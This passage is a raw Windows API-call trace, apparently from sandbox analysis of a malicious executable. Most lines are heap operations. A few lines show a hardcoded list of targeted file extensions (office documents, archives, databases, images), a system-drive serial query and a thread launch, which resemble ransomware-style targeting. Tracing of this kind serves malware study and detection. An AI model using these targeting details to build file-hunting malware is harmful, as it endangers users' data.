	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x526ac8
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526ac8, Size=0x80) returned 0x54b450
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b450, Size=0x100) returned 0x53b448
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0e8, Size=0x8) returned 0x52a0f8
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0f8, Size=0x10) returned 0x53de50
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53de50, Size=0x20) returned 0x504348
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0b8, Size=0x8) returned 0x52a0f8
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0c8, Size=0x8) returned 0x52a0b8
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0e8, Size=0x8) returned 0x52a108
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a108, Size=0x10) returned 0x53def8
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53def8, Size=0x20) returned 0x525930
	[0034.867] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0f8, Size=0x10) returned 0x53def8
	[0034.867] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0b8, Size=0x10) returned 0x53df28
	[0034.867] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0f8, Size=0x8) returned 0x52a0e8
	[0034.867] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a118, Size=0x8) returned 0x52a128
	[0034.867] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53def8, Size=0x20) returned 0x5258e0
	[0034.867] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53df28, Size=0x20) returned 0x525840
	[0034.867] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a138, Size=0x8) returned 0x52a148
	[0034.867] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0034.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b448 | out: hHeap=0x4f0000) returned 1
	[0034.867] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53dfa0, Size=0x20) returned 0x525958
	[0034.867] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x54d438, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0034.867] lstrlenW (lpString="C:\\") returned 3
	[0034.867] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0034.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d438 | out: hHeap=0x4f0000) returned 1
	[0034.868] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a178, Size=0x82) returned 0x53b9b0
	[0034.868] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a198, Size=0x100) returned 0x53ba40
	[0034.868] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53b9b0, Size=0x104) returned 0x53bc68
	[0034.868] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ba40, Size=0x200) returned 0x53bd78
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a188 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53bd78 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b5c8 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b5e8 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53e000 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b670 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53e030 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53bc68 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53e018 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53bb48 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b5e0 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53bbd8 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b5f8 | out: hHeap=0x4f0000) returned 1
	[0034.869] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53e018, Size=0x20) returned 0x525980
	[0034.869] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525980, Size=0x40) returned 0x526ac8
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a158 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53dfa0 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b520 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53dfd0 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b560 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53dfb8 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a168 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53dfe8 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527ec8 | out: hHeap=0x4f0000) returned 1
	[0034.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526000 | out: hHeap=0x4f0000) returned 1
	[0034.870] lstrlenW (lpString="%systemdrive%") returned 13
	[0034.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525958 | out: hHeap=0x4f0000) returned 1
	[0034.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b450 | out: hHeap=0x4f0000) returned 1
	[0034.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a138 | out: hHeap=0x4f0000) returned 1
	[0034.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x52b428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100
	[0034.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10014) returned 0x54d438
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x53dfe8
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53dfe8, Size=0x20) returned 0x525980
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525980, Size=0x40) returned 0x526b10
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526b10, Size=0x80) returned 0x54b450
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b450, Size=0x100) returned 0x53b9b0
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53b9b0, Size=0x200) returned 0x53b9b0
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53b9b0, Size=0x400) returned 0x53b9b0
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53b9b0, Size=0x800) returned 0x53b9b0
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53b9b0, Size=0x1000) returned 0x540060
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x55d458
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x53dfe8
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53dfb8
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x52a138
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53dfd0
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x52a168
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53dfa0
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a138, Size=0x8) returned 0x52a158
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53e030
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a158, Size=0x10) returned 0x53e000
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b5c8
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b5e0
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53e000, Size=0x20) returned 0x525980
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53e000
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a158
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53b5f8
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53b610
	[0034.871] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525980, Size=0x40) returned 0x526b10
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53b628
	[0034.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53b640
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53b658
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53b670
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b688
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b6a0
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a138
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b6b8
	[0034.872] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526b10, Size=0x80) returned 0x54b450
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b6d0
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b6e8
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b700
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b718
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b730
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53b748
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b760
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a198
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b778
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b790
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53b7a8
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b7c0
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53b7d8
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b7f0
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53b808
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b820
	[0034.872] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b450, Size=0x100) returned 0x541080
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b838
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b850
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b868
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x53b880
	[0034.872] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b898
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b8b0
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a178
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b8c8
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b8e0
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b8f8
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x52a1a8
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b910
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b928
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a1b8
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b940
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b958
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53b970
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b988
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b9c8
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53b9e0
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53b9f8
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ba10
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x53ba28
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ba40
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ba58
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ba70
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ba88
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a1c8
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53baa0
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bab8
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bad0
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bae8
	[0034.873] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541080, Size=0x200) returned 0x53bdb0
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bb00
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a1d8
	[0034.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bb18
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bb30
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bb48
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bb60
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bb78
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bb90
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bba8
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bbc0
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bbd8
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53bbf0
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53bc08
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bc20
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bc38
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53bc50
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53bc68
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bc80
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53bc98
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53bcb0
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bcc8
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bce0
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bcf8
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a1e8
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bd10
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bd28
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bd40
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a1f8
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bd58
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53bd70
	[0034.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bd88
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bfd0
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53bfe8
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c000
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c018
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c030
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c048
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c060
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c078
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c090
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c0a8
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c0c0
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c0d8
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c0f0
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c108
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c120
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c138
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c150
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c168
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a208
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x52a218
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c180
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c198
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c1b0
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c1c8
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c1e0
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c1f8
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c210
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c228
	[0034.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c240
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c258
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c270
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c288
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c2a0
	[0034.876] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53bdb0, Size=0x400) returned 0x543068
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c2b8
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c2d0
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c2e8
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c300
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c318
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c330
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c348
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c360
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c378
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c390
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a228
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543488
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5434a0
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5434b8
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5434d0
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5434e8
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543500
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x543518
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543530
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543548
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543560
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543578
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543590
	[0034.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5435a8
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5435c0
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5435d8
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a238
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5435f0
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543608
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543620
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543638
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543650
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543668
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543680
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x543698
	[0034.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5436b0
